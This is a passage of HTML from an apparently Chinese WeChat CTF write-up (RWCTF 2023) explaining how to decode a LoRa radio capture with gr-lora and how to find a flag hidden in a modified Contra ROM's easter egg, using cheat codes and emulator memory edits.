#7ac259;border-bottom-color: #7ac259;color: #7ac259;box-sizing: border-box;" class="js_darkmode__10629" data-brushtype="text" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(122, 194, 89)" data-darkmode-original-color="rgb(122, 194, 89)">Long Range</section></section></section></section></section><p style="line-height:1.75em;"><br/></p><section style="line-height: 1.75em;"><span style="font-size: 15px;">通过题目描述 Long Range与频段 500.5Mhz (属于 LoRa 在中国常用的CN470-510频段) 结合猜测信号中是一段 LoRa 信号。 使用 SDRSharp 或其他工具加载 wav 文件，可以发现信号也比较符合 LoRa 的特征，进一步印证猜测并分析出所使用的带宽为125kHz。</span></section><p style="line-height:1.75em;"><span style="font-size:15px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7908745247148289" data-s="300,640" style="" data-type="png" data-w="789" src="https://wechat2rss.xlab.app/img-proxy/?k=72639508&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkx56wyAia0oUiahLyibJeqpkyiaZOfLyRawKXP1QGjhrsqrLOvy3Fwfcpvng%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height:1.75em;"><br/></p><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq1mdocw35ab0mtw2b&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;使用GNU Radio的OOT模块gr-lora，调整SF扩频因子， 在8时可以解出flag。&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3ExbWRvY3czNWFiMG10dzJiJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU0JUJEJUJGJUU3JTk0JUE4R05VJTIwUmFkaW8lRTclOUElODRPT1QlRTYlQTglQTElRTUlOUQlOTdnci1sb3JhJUVGJUJDJThDJUU4JUIwJTgzJUU2JTk1JUI0U0YlRTYlODklQTklRTklQTIlOTElRTUlOUIlQTAlRTUlQUQlOTAlRUYlQkMlOEMlMjAlRTUlOUMlQTg4JUU2JTk3JUI2JUU1JThGJUFGJUU0JUJCJUE1JUU4JUE3JUEzJUU1JTg3JUJBZmxhZyVFMyU4MCU4MiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><p style="text-align: left;"><span style="font-size: 15px;">使用 GNU Radio 的 OOT 模块 gr-lora，调整 SF 扩频因子， 在8时可以解出 flag。</span></p></article><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6731107205623902" data-s="300,640" style="" data-type="png" data-w="569" src="https://wechat2rss.xlab.app/img-proxy/?k=7a0fb111&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxpLNhBLsQicuEOqSFznEibw2VGpEOS0OCiaYnsjoQx3mCLpAUVMuKb3pBw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height:1.75em;"><span style="font-size:15px;"><br/></span></p><section data-role="title" data-tools="135编辑器" data-id="93368" data-color="#7ac259"><section style="margin-top: 10px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;"><section style="padding-top: 0.65em;box-sizing: border-box;"><section style="width: 100%;height: 1px;background-color: rgb(122, 194, 89);box-sizing: border-box;overflow: hidden;" data-width="100%" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10630"><br/></section><section style="margin-top: -0.65em;box-sizing: border-box;"><section style="display: inline-block;vertical-align: top;height: 1.3em;line-height: 1.3em;padding-top: 1px;padding-right: 8px;padding-left: 8px;border-left: 3px solid #7ac259;border-right: 3px solid #7ac259;background-color: #ffffff;border-top-color: #7ac259;border-bottom-color: #7ac259;color: #7ac259;box-sizing: border-box;" class="js_darkmode__10631" data-brushtype="text" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(122, 194, 89)" data-darkmode-original-color="rgb(122, 194, 89)">Be-a-Famicom-Hacker</section></section></section></section></section><p style="line-height:1.75em;"><br/></p><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcpyzr0grvdf7kpx3xf&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;使用模拟器打开游戏，可以发现界面的komani 1988被修改为了RWCTF 2023，知晓ROM被修改；&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3B5enIwZ3J2ZGY3a3B4M3hmJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU0JUJEJUJGJUU3JTk0JUE4JUU2JUE4JUExJUU2JThCJTlGJUU1JTk5JUE4JUU2JTg5JTkzJUU1JUJDJTgwJUU2JUI4JUI4JUU2JTg4JThGJUVGJUJDJThDJUU1JThGJUFGJUU0JUJCJUE1JUU1JThGJTkxJUU3JThFJUIwJUU3JTk1JThDJUU5JTlEJUEyJUU3JTlBJTg0a29tYW5pJTIwMTk4OCVFOCVBMiVBQiVFNCVCRiVBRSVFNiU5NCVCOSVFNCVCOCVCQSVFNCVCQSU4NlJXQ1RGJTIwMjAyMyVFRiVCQyU4QyVFNyU5RiVBNSVFNiU5OSU5M1JPTSVFOCVBMiVBQiVFNCVCRiVBRSVFNiU5NCVCOSVFRiVCQyU5QiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">使用模拟器打开游戏，可以发现界面的 komani 1988被修改为了 RWCTF 2023，知晓 ROM 被修改。</span></section></article><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8014571948998178" data-s="300,640" style="" data-type="png" data-w="1098" src="https://wechat2rss.xlab.app/img-proxy/?k=69a301da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxO3q4hjicHibxKmK2Daib1iaFkJzKb1gpzSDicGLaRIichg5kkNtfScXmOL1Q%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcpz8jp0kpqp0mxgkbl&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;最硬核的解题方式是通过ROM大小知道是日版的魂斗罗，然后下载原版ROM diff修改内容，然后逆向ROM代码；但游戏类题目一般只要探索过所有场景即可获得flag；&#34;]]],[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcpzbyi2269at8bery6j&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;&#34;]]],[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcpzbytfobwy8jolsoc&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;通过搜索可以知道，魂斗罗存在一个隐藏彩蛋：在过关的结尾动画（包括滚动名单）期间，全程按住Select+Start键，即可见到一段隐藏的彩蛋，flag就放在隐藏彩蛋中。&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3B6OGpwMGtwcXAwbXhna2JsJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU2JTlDJTgwJUU3JUExJUFDJUU2JUEwJUI4JUU3JTlBJTg0JUU4JUE3JUEzJUU5JUEyJTk4JUU2JTk2JUI5JUU1JUJDJThGJUU2JTk4JUFGJUU5JTgwJTlBJUU4JUJGJTg3Uk9NJUU1JUE0JUE3JUU1JUIwJThGJUU3JTlGJUE1JUU5JTgxJTkzJUU2JTk4JUFGJUU2JTk3JUE1JUU3JTg5JTg4JUU3JTlBJTg0JUU5JUFEJTgyJUU2JTk2JTk3JUU3JUJEJTk3JUVGJUJDJThDJUU3JTg0JUI2JUU1JTkwJThFJUU0JUI4JThCJUU4JUJEJUJEJUU1JThFJTlGJUU3JTg5JTg4Uk9NJTIwZGlmZiVFNCVCRiVBRSVFNiU5NCVCOSVFNSU4NiU4NSVFNSVBRSVCOSVFRiVCQyU4QyVFNyU4NCVCNiVFNSU5MCU4RSVFOSU4MCU4NiVFNSU5MCU5MVJPTSVFNCVCQiVBMyVFNyVBMCU4MSVFRiVCQyU5QiVFNCVCRCU4NiVFNiVCOCVCOCVFNiU4OCU4RiVFNyVCMSVCQiVFOSVBMiU5OCVFNyU5QiVBRSVFNCVCOCU4MCVFOCU4OCVBQyVFNSU4RiVBQSVFOCVBNiU4MSVFNiU4RSVBMiVFNyVCNCVBMiVFOCVCRiU4NyVFNiU4OSU4MCVFNiU5QyU4OSVFNSU5QyVCQSVFNiU5OSVBRiVFNSU4RCVCMyVFNSU4RiVBRiVFOCU4RSVCNyVFNSVCRSU5N2ZsYWclRUYlQkMlOUIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3B6YnlpMjI2OWF0OGJlcnk2aiUyMiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydXVpZCUyMiUzQSUyMmxjcHpieXRmb2J3eThqb2xzb2MlMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTklODAlOUElRTglQkYlODclRTYlOTAlOUMlRTclQjQlQTIlRTUlOEYlQUYlRTQlQkIlQTUlRTclOUYlQTUlRTklODElOTMlRUYlQkMlOEMlRTklQUQlODIlRTYlOTYlOTclRTclQkQlOTclRTUlQUQlOTglRTUlOUMlQTglRTQlQjglODAlRTQlQjglQUElRTklOUElOTAlRTglOTclOEYlRTUlQkQlQTklRTglOUIlOEIlRUYlQkMlOUElRTUlOUMlQTglRTglQkYlODclRTUlODUlQjMlRTclOUElODQlRTclQkIlOTMlRTUlQjAlQkUlRTUlOEElQTglRTclOTQlQkIlRUYlQkMlODglRTUlOEMlODUlRTYlOEIlQUMlRTYlQkIlOUElRTUlOEElQTglRTUlOTAlOEQlRTUlOEQlOTUlRUYlQkMlODklRTYlOUMlOUYlRTklOTclQjQlRUYlQkMlOEMlRTUlODUlQTglRTclQTglOEIlRTYlOEMlODklRTQlQkQlOEZTZWxlY3QlMkJTdGFydCVFOSU5NCVBRSVFRiVCQyU4QyVFNSU4RCVCMyVFNSU4RiVBRiVFOCVBNyU4MSVFNSU4OCVCMCVFNCVCOCU4MCVFNiVBRSVCNSVFOSU5QSU5MCVFOCU5NyU4RiVFNyU5QSU4NCVFNSVCRCVBOSVFOCU5QiU4QiVFRiVCQyU4Q2ZsYWclRTUlQjAlQjElRTYlOTQlQkUlRTUlOUMlQTglRTklOUElOTAlRTglOTclOEYlRTUlQkQlQTklRTglOUIlOEIlRTQlQjglQUQlRTMlODAlODIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">最硬核的解题方式是通过 ROM 大小知道是日版的魂斗罗，然后下载原版 ROM diff 修改内容，然后逆向 ROM 代码，但游戏类题目一般只要探索过所有场景即可获得 flag。</span></section><p style="text-align: left;"><br/></p><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">通过搜索可以知道，魂斗罗存在一个隐藏彩蛋：在过关的结尾动画（包括滚动名单）期间，全程按住 Select+Start 键，即可见到一段隐藏的彩蛋，flag 就放在隐藏彩蛋中。</span></section></article><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7264239028944911" data-s="300,640" style="" data-type="png" data-w="1071" src="https://wechat2rss.xlab.app/img-proxy/?k=41054ea4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxwSY0EIliaRLyD3V2XV7w3Viabn6Io6E3ZpY8PFCticaW0DY3X0IZzN5Fw%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-bottom: 0px;line-height: 1.75em;"><br/></section><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcpzpo5cym4z58rza3&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;关于快速通关：&#34;]]],[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcpzqj4tmbay3crgw9i&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;bold&#34;:true,&#34;color&#34;:&#34;rgb(85, 85, 85)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;选关&#34;],[&#34;span&#34;,{&#34;color&#34;:&#34;rgb(85, 85, 85)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;：按下&#34;],[&#34;span&#34;,{&#34;bold&#34;:true,&#34;color&#34;:&#34;rgb(85, 85, 85)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;START&#34;],[&#34;span&#34;,{&#34;color&#34;:&#34;rgb(85, 85, 85)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;后，在游戏画面变黑之前，同时按下 &#34;],[&#34;span&#34;,{&#34;bold&#34;:true,&#34;color&#34;:&#34;rgb(85, 85, 85)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;←+↑+A+START&#34;],[&#34;span&#34;,{&#34;color&#34;:&#34;rgb(85, 85, 85)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;，就可以进入选关菜单。&#34;]]],[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcpzrh010gesa9e3vto&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;bold&#34;:true,&#34;color&#34;:&#34;rgb(85, 85, 85)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;作弊&#34;],[&#34;span&#34;,{&#34;color&#34;:&#34;rgb(85, 85, 85)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;：1.自带的经典作弊码 在标题画面BGM出现后按 &#34;],[&#34;span&#34;,{&#34;bold&#34;:true,&#34;color&#34;:&#34;rgb(85, 85, 85)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;上上下下左右左右BA&#34;],[&#34;span&#34;,{&#34;color&#34;:&#34;rgb(85, 85, 85)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34; 就会有30条命；&#34;]]],[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcpzsjfxrp45jz68dnp&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;color&#34;:&#34;rgb(85, 85, 85)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;          2.模拟器打开CPU view，进入关卡，其中&#34;],[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34; &#34;],[&#34;span&#34;,{&#34;bold&#34;:true,&#34;color&#34;:&#34;rgb(85, 85, 85)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;0x32&#34;],[&#34;span&#34;,{&#34;color&#34;:&#34;rgb(85, 85, 85)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34; 位置为1P的生命数；&#34;],[&#34;span&#34;,{&#34;bold&#34;:true,&#34;color&#34;:&#34;rgb(85, 85, 85)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;0xB0&#34;],[&#34;span&#34;,{&#34;color&#34;:&#34;rgb(85, 85, 85)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34; 位置为1P无敌状态的剩余时间；可以修改/冻结这两个位置达到无限命+无敌的状态迅猛通关 ：）&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3B6cG81Y3ltNHo1OHJ6YTMlMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTUlODUlQjMlRTQlQkElOEUlRTUlQkYlQUIlRTklODAlOUYlRTklODAlOUElRTUlODUlQjMlRUYlQkMlOUElMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3B6cWo0dG1iYXkzY3JndzlpJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU5JTgwJTg5JUU1JTg1JUIzJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyY29sb3IlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydmFsdWUlMjIlM0ElMjJyZ2IoODUlMkMlMjA4NSUyQyUyMDg1KSUyMiU3RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRUYlQkMlOUElRTYlOEMlODklRTQlQjglOEIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2xvciUyMiUyQyUyMmRhdGElMjIlM0ElN0IlMjJ2YWx1ZSUyMiUzQSUyMnJnYig4NSUyQyUyMDg1JTJDJTIwODUpJTIyJTdEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlNUQVJUJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyY29sb3IlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydmFsdWUlMjIlM0ElMjJyZ2IoODUlMkMlMjA4NSUyQyUyMDg1KSUyMiU3RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTUlOTAlOEUlRUYlQkMlOEMlRTUlOUMlQTglRTYlQjglQjglRTYlODglOEYlRTclOTQlQkIlRTklOUQlQTIlRTUlOEYlOTglRTklQkIlOTElRTQlQjklOEIlRTUlODklOEQlRUYlQkMlOEMlRTUlOTAlOEMlRTYlOTclQjYlRTYlOEMlODklRTQlQjglOEIlMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2xvciUyMiUyQyUyMmRhdGElMjIlM0ElN0IlMjJ2YWx1ZSUyMiUzQSUyMnJnYig4NSUyQyUyMDg1JTJDJTIwODUpJTIyJTdEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiVFMiU4NiU5MCUyQiVFMiU4NiU5MSUyQkElMkJTVEFSVCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmJvbGQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmNvbG9yJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnZhbHVlJTIyJTNBJTIycmdiKDg1JTJDJTIwODUlMkMlMjA4NSklMjIlN0QlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUVGJUJDJThDJUU1JUIwJUIxJUU1JThGJUFGJUU0JUJCJUE1JUU4JUJGJTlCJUU1JTg1JUE1JUU5JTgwJTg5JUU1JTg1JUIzJUU4JThGJTlDJUU1JThEJTk1JUUzJTgwJTgyJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyY29sb3IlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydmFsdWUlMjIlM0ElMjJyZ2IoODUlMkMlMjA4NSUyQyUyMDg1KSUyMiU3RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3B6cmgwMTBnZXNhOWUzdnRvJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU0JUJEJTlDJUU1JUJDJThBJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyY29sb3IlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydmFsdWUlMjIlM0ElMjJyZ2IoODUlMkMlMjA4NSUyQyUyMDg1KSUyMiU3RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRUYlQkMlOUExLiVFOCU4NyVBQSVFNSVCOCVBNiVFNyU5QSU4NCVFNyVCQiU4RiVFNSU4NSVCOCVFNCVCRCU5QyVFNSVCQyU4QSVFNyVBMCU4MSUyMCVFNSU5QyVBOCVFNiVBMCU4NyVFOSVBMiU5OCVFNyU5NCVCQiVFOSU5RCVBMkJHTSVFNSU4NyVCQSVFNyU4RSVCMCVFNSU5MCU4RSVFNiU4QyU4OSUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmNvbG9yJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnZhbHVlJTIyJTNBJTIycmdiKDg1JTJDJTIwODUlMkMlMjA4NSklMjIlN0QlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU0JUI4JThBJUU0JUI4JThBJUU0JUI4JThCJUU0JUI4JThCJUU1JUI3JUE2JUU1JThGJUIzJUU1JUI3JUE2JUU1JThGJUIzQkElMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2xvciUyMiUyQyUyMmRhdGElMjIlM0ElN0IlMjJ2YWx1ZSUyMiUzQSUyMnJnYig4NSUyQyUyMDg1JTJDJTIwODUpJTIyJTdEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyMCVFNSVCMCVCMSVFNCVCQyU5QSVFNiU5QyU4OTMwJUU2JTlEJUExJUU1JTkxJUJEJUVGJUJDJTlCJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyY29sb3IlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydmFsdWUlMj